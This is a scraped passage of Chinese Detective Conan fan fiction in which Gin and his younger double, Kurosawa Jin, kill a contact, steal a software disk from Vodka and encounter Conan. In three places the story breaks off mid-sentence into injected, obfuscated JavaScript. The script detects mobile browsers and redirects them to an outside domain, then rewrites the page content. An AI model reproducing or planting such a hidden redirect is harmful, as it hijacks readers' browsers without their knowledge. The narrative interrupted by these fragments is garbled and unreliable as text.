黑泽阵感觉得出来琴酒也有些心不在焉了,于是“好心”地问,“需要我把你放开方便你完成任务吗?” “不需要。”琴酒看了眼缩在楼梯口犹豫着要不要跑的交易对象,抽出枪抵在黑泽阵的心脏处,两人的打斗停了一秒,黑泽阵丝毫不在意琴酒的枪,他拽着琴酒的领子把他往地上摔,侧身避开了枪口,同样拔.出了枪。 “砰!”两声枪响几乎同时响起,一颗朝着穿着橙色男人的头部射去,这是属于琴酒的子弹。而另一颗同样从伯.莱.塔中射出的子弹来自黑泽阵,以计算好的弧度擦着琴酒的子弹而过,迫使原本应准确命中男人的子弹从弹道偏离,子弹打在男人肩膀上。 橙色衣服的男人发出一声惨叫,手里提着的公文包掉落在地上,他刚想伸手去捡,又接连有两颗子弹分别擦着他的手和腿过去了,男人顾不上别的,捂着伤口,连滚带爬地冲下了楼梯。 琴酒和黑泽阵都没有立即追上去,琴酒的脸上看不出喜怒,他走过去捡起男人掉在地上公文包,从里面取出一个文件袋,确认上面没有沾到血后,就把文件袋放了回去。 “不去追吗?”黑泽阵走到楼梯旁边。这是一个搭建在户外,用于建筑工程的临时楼梯,不是很结实,有些破破烂烂,男人跌跌撞撞下楼时发出很大的脚步声,他站在楼梯往下看,还能够看见男人匆匆下楼的身影。 黑泽阵心想,如果他是这个男人,就不会白费力气往下跑了。琴酒做任务的时候从来都不会只是一个人,大概还有不少外围成员甚至代号成员在附近戒备着,男人就算跑下了楼,也不过是拖延一点死亡时间。 “伏特加在外面。”琴酒的回答和他想的一样。 黑泽阵看了眼琴酒手里的公文包,却是说:“我简单地调查了,这种人活着也只会给社会添乱。比比看,谁先杀死他,是你,还是我。” 琴酒没有动:“你在打什么主意?” 黑泽阵的视线移到琴酒的脸上:“我以为你看得出来。” 假话,黑泽阵脸上有一丝很浅的得意,他不觉得我能够看出来。琴酒想。他意有所指:“就算是琴酒,也有不知道自己在想什么的时候。” 黑泽阵下意识接了话:“就像刚才那个时候?” “差不多。”琴酒说。有时候也不需要那么清楚,他也懒得追究,想要抱就伸手了,就那么简单。 黑泽阵顿了一秒,他大步朝着楼梯走去,不耐地道:“再不去人就死了。” 他们很快追上了还没能跑远的男人,男人的腿被子弹擦伤了,又因为失血过多而头昏脑涨,就算知道这里很危险,却也逃不走。 他听见了脚步声的靠近,哆嗦着想要求饶:“不要杀我!求求您——” “吵死了。”黑泽阵先一步靠近了男人,拽着他的领子,迫使他无法说话,拎着他敏捷地跳到了楼梯的栏杆上,让琴酒的子弹既没能打中男人,也没能打中自己。 琴酒又开了一枪,黑泽阵在他开枪前就预料到,他半蹲在楼梯的栏杆上,手里还提着已经要血流成河的男人,却毫不费力地保持住了平衡,拖着男人躲开,只是不知道是黑泽阵有意还是无意的,男人的脖颈被反射的子弹擦过,吓得男人惊恐地挣扎,下意识挣脱黑泽阵的手。 他成功了——也是因为黑泽阵松手了。男人忽然感觉到领子一松,他还没有意识到发生了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14895011|158025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么,强烈的失重感袭来,他本能地伸出手,拼命地想要抓住一点什么,他抓住了栏杆。 男人原以为这是救命的稻草,却没想到的是,栏杆原本就承受着黑泽阵的重量,此时再加上一个成年男性的分量,本就脆弱的栏杆发出不详的一声响。 生锈的金属发出最后一道清脆的断裂声,栏杆断开了。 站在栏杆上的黑泽阵失去平衡,身体朝后仰去。 这一幕被正好经过的贝尔摩德看见了。贝尔摩德往后退了几步,颇有几分遗憾地想,没法和那个看起来和琴酒很像的青年说几句话了,七层楼高的距离,超过二十米,生还的几率很低。贝尔摩德判断着,心想等一下这一幕好像有点眼熟。 她很难不联想到自己在美国伪装银发杀人魔遇见毛利兰和工藤新一的那一次。 不过这里没有她的天使。贝尔摩德想,琴酒的话,当然只会站在那里看。 可是完全出乎她意料的事情发生,贝尔摩德甚至可以说是震惊地看见,琴酒伸出了手,用力地抓住了不知名的青年的衣服。 琴酒在伸出手的那刻就知道,如果这是场游戏的话,那他这一回合已经输了。 黑泽阵脸上显而易见是得逞的意味,琴酒在瞬间就意识到了这是他故意的。黑泽阵恐怕比他更先一步来到这里,早早地就在栏杆上做好了手脚。 只是事情发生仅仅在短短几秒,琴酒短暂的时间里想通了所有,本能却依旧让他伸手抓住了黑泽阵。 黑泽阵的领口被他用力揪得变形,琴酒在黑泽阵满是得意的眼睛里看见了自己的怒火。 两人对视,黑泽阵还悬在空中,仅凭琴酒一只手抓着他,他却毫不在意,甚至有心情继续进行挑衅:“我赢了。” 琴酒把他拎了上来,他脸色阴沉,气压极低,嘴角下压,绿眸溢出寒气,他没有松开手,就这么拽着黑泽阵的领子,粗暴地把他推到另一边的墙上。 “有病就去治,想死别拖上我。” 黑泽阵却勾起唇角,嘲讽:“只是一个小测试,你别误会。” 琴酒很了解自己。如果一件事有极高的生命威胁,那如果没有百分之九十九活命的可能,他就不会去做。如果做了,那就说明他没想着一定要活,死了也无所谓。 黑泽阵和他是同一个人。正是因为清楚,所以他才因此愤怒。 琴酒深深地看了他一眼,松开手,他的怒意明显没有消散,语气却被强压着平静了下来,毫不留情地戳穿了黑泽阵。 “你的计算里我伸手的可能占了百分之几?”琴酒不再理会他,转身离开。 黑泽阵的笑消失了,他的神情慢慢地冷淡了下来。 他在原地站了一会,很快就像什么事情也没有发生一样,跟上了琴酒。 两人一言不发地下楼,很快就站在了一楼的平地上。 此时已是黄昏,太阳的余温还残留在衣服上,朝霞还挂在天边没有褪去,红日却已不在。 他垂眸看着建筑的阴影把地面分成明暗清晰的两部分,心想那又有什么关系,他本就应该连同那些无法割舍的东西一起死在1991年的冬天。 就好像知道他在想什么一般,琴酒忽然看向了他,说: “别死。” 13.第 13 章 黑泽阵怔了一秒,张了张嘴想要说点什么,却看见了站在不远处的贝尔摩德,于是什么也没有说。 贝尔摩德没有用她原本的脸,而是一张陌生女性的脸,黑泽阵一开始还觉得有可能是自己不认识的组织成员,毕竟这里是十年后,组织更新换代快,他不认识也很正常。 但他看见女人嘴角挂着的那抹意味深长的笑的时候,他就知道这一定是贝尔摩德了。 黑泽阵并不意外贝尔摩德会出现在这里。琴酒刚才接的那通电话大概率就是贝尔摩德的。估计是在电话那头听见了异常的枪声,想过来看琴酒的热闹。 “这不是琴酒吗?”贝尔摩德就好像是意外在这里见到琴酒一般,发出虚伪的问候。 没有人理她,琴酒约过她,熟练地蹲在尸体旁边进行搜尸。 贝尔摩德也不在意,从上到下打量着黑泽阵,易.容.面.具都没掩盖她的惊讶:“今天这位死得真惨啊,看起来不像是琴酒的风格,是你插手了吗?怎么称呼?” 贝尔摩德伸出手,看似友好地想要和黑泽阵握手交流。 “是琴酒的风格。”黑泽阵丢下这么一句话,没理会贝尔摩德伸出来的手,同样越过她,站在了尸体旁边,或者说是琴酒身边。 贝尔摩德心想不管这个人是谁,但从这张几乎一模一样的脸和两人极其相似的作风来看,他肯定和琴酒有着很近的亲缘关系。 “我之前好像没有在琴酒身边见过你。”贝尔摩德说,她观察着黑泽阵的神色,试探,“从你的年龄上来看,你不会是琴酒的弟弟吧。” 黑泽阵和琴酒齐齐抬头看了她一眼,神色是一致的鄙视和嫌弃,但两人都没有接她的话,而是继续无视了她,自顾自地进行了简单的沟通。 “死得很彻底,可以走了。”这是琴酒说的。 “你准备什么时候把这里炸掉?”这是黑泽阵问的。 “五分钟后。”琴酒说。他早就让人在楼里装了定时炸弹,所以才会没有顾虑地在顶楼天台和黑泽阵打斗,不担心留下痕迹。 “需要把尸体拖过去一点吗?”黑泽阵看了眼脚下的尸体,估算着距离,感觉不一定能够炸到这。 “让贝尔摩德做。” 贝尔摩德听到这里,终于忍不住打断了他们的话:“喂喂,我还在这里呢。琴酒,你还没有解释,为什么要把无关人员带来组织的交易现场。” “你什么时候开始在这种小事上维护组织了?”黑泽阵拿出手机,递到贝尔摩德面前,继续说,“据我们所知,你对组织并没有那么忠诚。” 他早就料到,自己借用琴酒身份的事会被贝尔摩德看出来,毕竟是千面魔女。他如果不想被贝尔摩德知道自己的存在,就不会凑到对方面前。他们都知道,贝尔摩德并不如她表现出来的那样那么忠于组织,并且同样受到一些返老还童的困扰。或许可以短暂地合作,黑泽阵想。 不过不是现在,只是正好看见贝尔摩德来了,那就先存个联系方式。其实也可以直接找琴酒要,但黑泽阵觉得琴酒不会给。 贝尔摩德眯起眼,很快又恢复了往常的样子,勾起红唇,轻佻地从黑泽阵手里接过了手机,输入了自己常用的电话号码:“哪有,我对组织一向是忠心耿耿。你看起来和琴酒关系很好,就这么当着他的面要我的电话号码没问题吗?” 黑泽阵懒得和她勾心斗角,直截了当地说:“别挑拨离间,你们没睡过,我对你也没兴趣。” “……”冷淡地令人怀疑他不是直男。贝尔摩德有一瞬间以为是琴酒在和自己说话,易容下的脸很轻微地扭曲了一下,她抬手撕开了□□,露出了自己原本的样子,她上前一步,拉近了两人的距离,把手机还给黑泽阵,暧昧地问:“你怎么知道?”她一语双关,在黑泽阵要接过手机的时候动了下手指,想要碰到青年的手。 然后她就看见青年被琴酒拽着领子往后一拉,躲开了她的触碰范围。琴酒伸手从她手里抽走手机,丢进了青年的怀里,不给他们任何接触的机会。 “贝尔摩德。”琴酒的声音里带着警告。 黑泽阵难得被琴酒这么拽着却没有意见,他看了眼手机,确认里面已经存好的贝尔摩德的电话号码,就把手机收了回去。他抬头看见琴酒还在看着贝尔摩德,顺手扣住琴酒的手腕,把他拉走了:“走了。” 真是令人惊讶。贝尔摩德若有所思地看着琴酒竟没有任何不悦,没再理会她,就这么和青年离开了。 两人穿着一样的黑色风衣,银色的长发披在身后,被风吹得发丝缠绕在一块,完全一致的走路姿势,一样的气场,一个模子里刻出来的冷漠,没有半点情趣。贝尔摩德撇了下嘴,看着两人消失在眼前。 黑泽阵。阵在日语里面的发音和琴酒一致,这多半是个假名。贝尔摩德皱了下眉。忽然意识到为什么黑泽阵会给她这么强的熟悉感了。不仅仅是因为琴酒和黑泽阵极为相似,而是因为黑泽阵……很像她记忆中二十岁左右的琴酒。 贝尔摩德低头,忽然看见脚边的尸体。等下,她刚才好像听到琴酒说这里五分钟后会爆炸。 “……”贝尔摩德知道现在没时间再叫人过来移尸体了,她不情不愿地踢了脚尸体,把尸体移到了爆炸的范围内。 在迅速离开这一块以免被爆炸卷入后,贝尔摩德陷入思考。她原本是要来做什么的? --------- “板仓卓在开发的是什么软件?”黑泽阵坐在保时捷的后排,吹着冷风,冷不丁开口。 琴酒负责开车,他看了眼不知什么时候被黑泽阵降下来的车窗,把车窗升上去了,一边说:“你不是已经调查得很清楚了吗?” “只知道对组织来说很重要。”黑泽阵指出,“你会把这件事告诉我,其实是想让我把软件拿走吧,你自己做不到?” “懒得去做。”琴酒说,“觉得你会对这件事感兴趣,所以让你来。”也算是给闲着没事的另一个自己找点事做。 “你和伏特加说了没?”黑泽阵问。 “没。” “那他要吃点苦头了。” -- 伏特加完全没有想到自己这次任务会翻车。 这是他和琴酒从龙舌兰那里接来的任务,直到一分钟前,伏特加都认为这个任务一点也不难,只需要威胁一个手无缚鸡之力的程序员,然后把软件搞到手就行了。 所以在琴酒必须要去处理另外一个任务,让他自己去找板仓卓见面的时候,伏特加一口就答应了下来,拍着胸膛说大哥放心。 大哥我错了!伏特加狼狈地弯腰,躲开从天而降的黑影,他手忙脚乱地把软件塞进口袋,伸手拔.枪却不知道要往哪里开,手电筒早就被打掉,连带拿手电筒的手都被打得感觉要骨折了,他骤然陷入黑暗,什么也看不清楚,只好先试探性地朝刚才黑影落下的位置开了一枪。 什么也没有打中,伏特加警惕地贴着身后的储物柜站着,刚想伸手摸一下软件还在不在,就感受到了身边一阵劲风,袭击者像是在黑暗中也能够看清,以极快的速度和无法对抗的力量从他手中抽走了软件。 完蛋了。伏特加一惊,意识到再这样下去组织所重视的软件就会在他手上被夺走,他也顾不上枪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14904116|158025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声会不会引起外界的注意,接连开枪,几乎清空弹匣,却依旧是没有一发击中,袭击者一言不发,快速地后跃,没等伏特加反应过来,就消失在了地下室里。 这下是真的完蛋了。伏特加冲出车站,急急忙忙地拨通了电话,让周围的组织成员立刻去搜寻从车站地下室里出来的人。 “什么?你是说只有一个小鬼和一个酒鬼进来过?不可能!”伏特加咬牙切齿,“攻击我的人分明是个成年男性,你们这群……” 伏特加的话语戛然而止,金属抵在后脑勺的感觉,像是有刺骨的冷水顺着脊柱浇灌下去,伏特加僵住了,一动也不敢动。是刚才那个偷袭者?那人是什么时候回来的?为什么他完全没有听见脚步声? “废物。”琴酒的声音在他身后响起。 伏特加猛地松了一口气,接着又因为琴酒的语气重新把这口气提了起来,他结结巴巴地说:“大哥,板仓那家伙、呃提出要变动交易时间,我答应了,但是、但是……” “我已经知道了。”琴酒收起枪,从地上捡起伏特加掉落的烟头,塞进伏特加张开的嘴里。 “占有唾沫的烟头丢在地上,摘手套拿软件,昏暗的环境里戴墨镜。”琴酒检查着周围的环境,看见了投币式储物柜上面的弹孔,又补充了一点,“手电筒掉了后还要开枪告诉对方你的位置。” 琴酒冷冷地看了伏特加一眼:“废物。” “大哥……”伏特加狼狈地抹了把脸,不安地问:“那我们现在要怎么做?” “车站外让其他人再检查一遍。如果没有人看见有人从里面出去的话,就说明人还在里面。” 琴酒的话像是一颗炸弹被装进了柯南的心里,他一惊,意识到如果自己不想办法躲起来的话,恐怕会被牵扯进去。 他在跟着毛利小五郎叔叔办案的时候,发现这一次案件的死者板仓卓和黑衣组织有着联系,组织似乎在让板仓卓为他们开发一种对组织来说很重要的软件,于是他想办法拿到了板仓卓的日记,知道组织和板仓卓约在这几天见面,就想办法把组织的人约到了今天。他用磁片把软体提前放进了仓库里,做了一点小手脚,为的就是能够顺利从伏特加身上拿到指纹和DNA,还在软件里面放了定位器。 但没想到的是,伏特加在拿到软件之后被人袭击,不但软件被不知名的人拿走了,现在琴酒还要搜查整个车站。 可恶,可恶,如果再不想办法的话,他就要被发现了!柯南咬牙,瞥见身旁的储物柜,脑海里突然有了个想法,他果断地打开了储物柜的门,蹑手蹑脚地钻了进去。 可是令他没有想到的是,琴酒竟然会丧心病狂到打开储物柜的门查看。柯南用尽最大努力去压制自己的呼吸,却感觉自己心脏跳得飞快,声音大到任何一个人都能听见。 琴酒打开了最顶上那层储物柜,然后是下一层,柯南几乎要窒息地看见琴酒打开了他这一层柜子。 “砰。”琴酒把拉开一条缝的柜门重新合上了。 “走吧,既然上层柜子没有被切割的痕迹,那么那人也不可能躲在这里。大概是你们没有注意到他早就离开了。”琴酒这么说。 琴酒走出车站,外面,他低头给黑泽阵发信息. 伏特加还处于办砸了事的惶恐中,以为琴酒是在和那一位汇报,小心翼翼地问:“大哥,那、那一位怎么说?” “他说有意思。”琴酒说,当然不是指那一位。 【别急着走,代替板仓卓送软件来的是一个小孩。】——GIN. 【有意思,你的人撤走后我去检查。】——黑泽阵。 14.第 14 章 黑泽阵在黑暗中举着手机用作手电筒,观察着手里的磁片,从里面取出了黏在底部的定位器。 这不像是板仓卓做的。如果板仓卓有那么好的脑子,就应该知道,想要把磁片交给组织然后逃出国外是不可能的事情。 如果不是板仓卓,那会是谁?是有人想到了这些,然后让一个小孩来布置,还是说……那个小孩是和他一样的情况? 在自己经历过从成年人变小后,黑泽阵现在不管是看到老人还是小孩都要怀疑一下,本就不轻的疑心病更加重了,他知道琴酒肯定也是这样。 和另一个自己合作的好处就是,他们不需要过多的沟通,简单的交流就足够知道对方想要什么,要做什么。琴酒对板仓卓开发的软件并没有很大兴趣,如果没有黑泽阵在,那琴酒大概会对这件事持一个无所谓的态度。 但黑泽阵来了,琴酒知道黑泽阵一定会对这件事感兴趣,会想阻止组织拿到软件,所以把信息透露给了他,让黑泽阵自己来。琴酒所做的就是避开黑泽阵,顺便参与到别的任务中,给自己添点不在场证明,以免多疑的组织怀疑上他。 黑泽阵从伏特加手里拿到软件再容易不过了,他虽然只有十九岁,但在他那个时候,他就已经是组织里能力数一数二的代号成员,没有立刻就成为组织高层不过是因为他的资历还不够。 唯一有一点麻烦的是在拿到软件后要怎么离开车站。黑泽阵的银白色长发有些显眼,有一定的可能会被在车站外监视的组织外围成员看见,他不想冒风险,于是选了个最简单的办法。他只需要掐好时间提前吃下能够解药,等拿到磁片的时候先在地下室里躲一会儿,然后在解药失效藏进储物柜里。这样一来,就算组织之后对这件事进行调查,也查不出任何东西。 距离天亮还有两个多小时,天亮之前,算是演戏给组织看,琴酒必须要让人在外面守着,完全撇清身上的嫌疑。 六岁的身体能够轻松地进入这种狭小的地方,就是待久了会有些不舒服,黑泽阵动了动身体,稍微推开一点储物柜的门,以免自己缺氧。他希望另一个同样躲在储物柜里的家伙能够撑久一点,不要因为缺氧而死,以他对自己的了解来看,琴酒走的时候肯定把那家伙的门关死了。 事情确实像他想的那样,柯南缩在储物柜里,他大口大口地呼吸着,缓解着刚才极致的紧张,他僵硬在那里,不知道自己应该出去还是应该继续留在这里,很快,他就因为逐渐变得稀薄的氧气而慢慢失去了意识,陷入了昏睡。 直到一声又一声清脆的脚步声向他靠近,柯南才猛地惊醒,他瞪大眼睛看着储物柜的门,却发现自己因为太长时间保持一个姿势,现在竟一时半会没法动弹。 脚步声是朝着他靠近的。是谁?难道说,组织那些人又回来了? 柯南眼睁睁地看着储物柜的门被拉开,光亮照了进来,他下意识眯起眼,先映入眼帘的是显眼的银白色头发,以及一双带着些许好奇的绿眸。 这是……这不是……不是组织的人。 柯南呆呆地看着站在储物柜外面歪头看着他的男孩,对方看上去和他差不多大,有着一头极为少见的银白色短发,被压在鸭舌帽下,但依旧显眼,同样令人在意的是男孩的眼睛,像平静的湖水又像是绿宝石,折射出没有情感的温度。 柯南很轻地打了个哆嗦。所以……这是谁? “你好。”男孩说,往旁边站了一点,问,“你不出来吗?” 柯南手忙脚乱地从储物柜里爬出来,刚一爬出来,他不断地打量着男孩,想要从他身上看出一些信息。 结果是什么都看不出来,男孩身上的衣服平整缺少褶皱,看起来是刚从店里买回来第一次穿,袖口或者裤腿也都很整洁干净,柯南仅仅能够判断男孩喜欢的颜色应该是深色。他的视线上移,男孩的脸被黑色的鸭舌帽挡住了一些,看得并不完整,但不知为什么,还是给了柯南一种很熟悉的感觉。 “你……”柯南的直觉告诉他面前的男孩有些古怪,刚想问点什么,男孩却也开口了:“那我们走吧,在这里会妨碍他们工作。” 他先一步走出了地下室,柯南赶紧追了上去。 “你叫什么名字?”柯南跟在黑泽阵身后,满腹疑惑,“你为什么会知道我在那里面?” 黑泽阵没有立刻回答他。很快,柯南跟着黑泽阵走出了车站,天色已经大亮,车站外人群熙熙攘攘,早就没有了组织的影子,柯南张望了一下,有些不甘心。 “江户川!”灰原在这个时候出现了,她跑了过来,在看见黑泽阵的时候一个急刹车停了下来,警惕地后退了两步。 也就是这个时候,他们都看见黑泽阵摘下了头顶的鸭舌帽。 极其熟悉的脸出现在他面前,恐惧比比理智更先一步反应过来,柯南猛地后退了一大步,差点脱口喊出琴酒。 黑泽阵挑眉,看出了柯南似乎把对他的称呼压在了喉咙里,心中有了几分猜想。这个小孩,果然知道琴酒吗?再加上雪莉对他的态度,九成可能对方是成年人变小了。 “黑泽阵,我的名字。”黑泽阵说,他捋了一下被压得过于平整的头发,看了眼灰原,又把目光重新放在柯南脸上,观察着柯南的神情。 真有意思,米花那么点大的地,假小孩扎堆。 “我的名字有什么问题吗?”黑泽阵就像不知道两人在恐惧什么一样,他收敛了一些周身环绕的冷意,装作困惑地看向柯南。 柯南强忍后退的心,说话都有点结巴了起来:“没……没有。呃,很好的名字。”他大脑飞速地运转着,一条条在心中罗列判断。 黑泽阵身上穿的都是新衣服,如果他是琴酒,因为某些原因变小了,临时去买了衣服也不是没有可能。不不不,现在才刚七点,很多店铺都没有开门,如果他是的话不可能那么快买到衣服。 从行动上来看,如果是琴酒的话恐怕会在打开储物柜的那刻把他抓起来,或者让人把他抓起来。但黑泽阵仅仅是向他问好。 虽然说能精准地找到他位置这一点很让人起疑,但黑泽阵在看见灰原的时候并没有异常。如果他是琴酒变小的话,肯定能想到灰原就是雪莉。黑泽阵却没有给出任何反应。 综合以上分析,柯南觉得,黑泽阵不会是琴酒。 他向来对自己的推理很是自信,这一次却难免迟疑,他看向黑泽阵,想更加认真地观察他的神色,却见他的目光落在远处。 黑泽阵的目光锁定在远处的人群里。刚才擦肩而过的人群中,有人把异样的眼神落在了他的身上。 黑泽阵对人的视线很敏感,更何况那人似乎并没有打算把视线转移走。 不是那种看见银白色头发小孩时普通人会有的奇怪目光,而是一种更加复杂的眼神。带着不解和困惑,像是在思考为什么琴酒会变小了。 “我先走了。”黑泽阵失去探究柯南身份的兴致,那道目光的主人让他感受到了一些危机感,决定还是先把软件带回去比较好。 ------ “黑色头发,戴着针织帽,亚裔,绿眼睛。看上去是你的熟人,我从车站出来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14909318|158025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候遇到了。”黑泽阵把磁片从电脑里抽出来,和站在他身后的琴酒简单地描述了一下。 “赤井秀一。”琴酒冷哼一声,“FBI潜入组织的卧底,代号莱伊,一年前被发现身份,跑了。” 黑泽阵听出他语气中不寻常的味道,扬眉,扭头看着他:“他做了什么?”如果只是普通的卧底,琴酒不会带有那么强烈的私人情绪向他介绍。 “哦,他是因为想要抓我,然后被朗姆发现了,因此暴露了身份。”琴酒说,他冷笑一声,“我早就知道那家伙的身份有问题,只是睁一只眼闭一只眼。” 难怪,黑泽阵很快地感同身受,也开始讨厌赤井秀一了。黑泽阵不喜欢朗姆。大概是预料到自己在组织的地位会不断上升,甚至威胁朗姆的地位,所以朗姆也不喜欢黑泽阵。想来十年后,以琴酒现在在组织的地位,两人只会更加相看两厌。 赤井秀一是卧底的事情被朗姆而不是琴酒先知道,朗姆多半会拿这件事在那一位那上眼药。 “赤井秀一肯定会来接触我的,需要我帮你报复回去吗?”黑泽阵假装好心地问。 “以你现在的身体,你不如早点去睡觉。”琴酒看了眼坐在电脑椅里的六岁小孩,伸手把椅子从电脑面前拉开了。 黑泽阵伸手想要抓住桌子的边缘,抓了个空。他现在已经能够很淡定地适应自己缩小的身体了,跳下椅子,像无事发生那样把椅子推了回去。 “不说赤井秀一,先把这件事解决,你觉得组织想要做什么?”黑泽阵重新坐回椅子上,把磁片放回盒子里。 他们刚才在研究从组织手里截胡的软件。很遗憾的是,两人对这一块并不精通,最后只获得了一些朦胧的信息,想要进一步的确认还需要等一个机会。 “我不关心。”琴酒懒洋洋地说,“我现在已经不是卧底了。” 你也不是。 黑泽阵听出了这句话的潜台词,这一回他没有生气。他平静地看着电脑上闪烁的代码,说:“那我也想要知道。” “……”琴酒低头看着黑泽阵的脑袋,他看不清黑泽阵的神色,但是感觉到他现在并不开心。 “你帮不帮?”黑泽阵的语气有一点别扭,被琴酒听出来了。 琴酒忽然想起来了,十九岁的自己,还没有完全和上线断开关系,甚至对黑泽阵来说,前几个月的时候,他都能够获得一些来自那边的帮助。 只是后面他逐渐习惯了无人能够信任,任何事都自己处理,所以已经忘了十九岁的自己是怎么样的。 现在他有点想起来了。 “我尽量帮你弄到‘茧’的体验名额。”琴酒说。 这是软件里所透露的信息,似乎是组织认为,想要继续他们的计划,装载着名为“诺亚方舟”人工智能的游戏体验舱是很重要的一个环节。 “茧”就是体验舱的名字,这款游戏已经对外公开宣传,将在不久之后邀请一些知名人士参加发布会。 琴酒说完,就把还盯着电脑屏幕看的黑泽阵拎了起来。这一次他的动作还算轻,拎着人出了房间才放下。 “该去睡觉了,小阵,你明天还要上学。”琴酒把门关上,挡在门前不让黑泽阵再进去。 “?”黑泽阵听出了他的意思,仰头有点疑惑地看向琴酒。琴酒从什么时候开始不再想阻止他变回原样了? 琴酒弯腰,抬手拍了一下黑泽阵的脑袋,毫不客气地把对方的头发揉乱。他说:“我只是忽然觉得,十九岁的你更有意思一些。” 六岁会显得他像个变态。 15.第 15 章 小孩,好讨厌。六岁的黑泽阵坐在闹哄哄的教室里,盯着本子上的字,这么想着。 他已经上了快一个月的小学了,但获得最终解药的计划进展几乎为零。这段时间据琴酒说发生了不少事情,由于担心组织过早地注意到他的存在,琴酒很强硬地没有让他参与进去。 尽管那些也不是很重要的事,黑泽阵还是感觉到了有种被排除在外的不高兴。如果不是知道琴酒并没有这种意思,他都要怀疑琴酒没有阻止让他来上小学只是为了支开他。 算了,黑泽阵知道自己只是多疑的心思又犯了,琴酒可是另一个自己,对方想要做什么,他清楚得不能再清楚。虽然感觉另一个自己病得更加严重了,但这并非不是一件坏事,至少两人在让他恢复原样这件事上保持了一致的目标。 黑泽阵收回发散的思绪,继续思考要怎么样才能够更快地压迫雪莉帮他制造解药。按照他以往的手段,他会直接拿对方重视的人进行胁迫,要求对方尽快、迅速、不顾一切地帮他制造解药。他也确实这么做了,雪莉又一次被他吓得不轻,也确实保证了在帮助他的同时不把事情告诉别人。 当然,雪莉也说了她手上的资料不足以让她完成解药的制造,所以黑泽阵还废了点力气从组织里面把APTX4869和银色子弹这两种药的资料偷了出来,统统扔给了雪莉。 这么看来,最终解药的制作应该不会是一件很慢的事情,毕竟雪莉看起来也很希望赶紧把解药制造出来,雪莉也在努力。 但最终解药的制造进程还是约等于零。问题就在于…… “江户川同学,我家里出现了一件怪事,可是爸爸妈妈他们都不在意,所以我我想请你们侦探团去帮忙调查一下。” 来了,这就是问题所在。黑泽阵半个视线都没有分过去,他已经知道过程和结果了。首先是有委托人出现,也有可能是少年侦探团自己决定去哪里玩,然后肯定会遇到案件,有可能是杀人案件,也有可能是别的,总之,结果就是少年侦探团在江户川柯南的帮助下把案件就解决,大家一起去警察局做笔录。 黑泽阵已经暗暗算过了,少年侦探团一天遇到一起案件已经是算少的,有时候一天会遇到两起或者是三起,江户川柯南或者说是变成小学生的工藤新一永远都在案件现场奔走,带着少年侦探团也几乎全年无休。所以雪莉,也就是灰原哀,她作为少年侦探团的一员,没有时间去制作解药,这很合理。 很合理。 “当然可以!” “少年侦探团,出击!” 黑泽阵在少年侦探团的声音下掰断了手里的铅笔。 他在想自己到底是为什么在这里装了快一个月的小学生。可能是为了有个合适的身份去参加“茧”的发布会吧,也可能是为了引出一些藏在暗处的人。黑泽阵深吸一口气,尽力让自己心平气和。 只是他原本有些好奇的赤井秀一好像已经死掉了。黑泽阵想起前不久琴酒告诉他的事。也可能没死,虽然被基尔击中了头部,还被摄像头拍到了全程,但很遗憾的是,琴酒知道基尔是卧底,所以这件事存疑。 不过……组织里面的卧底真多啊,黑泽阵想。他终于听见了代表放学的铃声响起,他慢吞吞地收拾好书包,跟在少年侦探团之后出了教室。 他对破案没有兴趣,但有点想找个合适的机会恐吓一下工藤新一,他观察了很久,觉得少年侦探团之所以会遇到那么多案件,都是柯南的问题。因为只有柯南一个人的时候,他也经常会莫名其妙地触发一些案件。黑泽阵看柯南不顺眼很久了,只是一直没有找到绝佳的机会进行恐吓。 柯南早就注意到了黑泽阵跟在他们身后。黑泽阵已经转学过来一个月了,黑泽阵向来独来独往,以冷漠的态度拒绝了所有人。柯南知道黑泽阵不是琴酒,这一个月以来发生了很多事情,不过都和黑泽阵没有关系,柯南也就慢慢对他放下一点心。但因为黑泽阵和琴酒过于相似的外形,他还是难免对黑泽阵有些好奇,想要有偷偷调查过,却是什么也查不出来。 “黑泽同学,你跟着我们是想要一起去调查案件吗?”光彦也看见了黑泽阵,很是惊讶。在黑泽阵刚转学来的时候,他们几分就被黑泽阵神秘的样子吸引住了,试着想要拉着黑泽阵一起玩,却被狠狠拒绝了。他们不是会遇到挫折就会退缩的人,可是……光彦和步美、元太对视了一眼,缩了缩脖子。可是黑泽阵实在是太凶了……甚至比他们之前遇到的杀人犯还要可怕! “不。”黑泽阵冷淡地说,说完就想要从他们身边经过。 可这个时候柯南却说话了:“你要一起来吗?我们不是去山名同学家,我们先去波洛咖啡厅听他描述事情的经过。”山名同学就是想要委托少年侦探团的孩子。 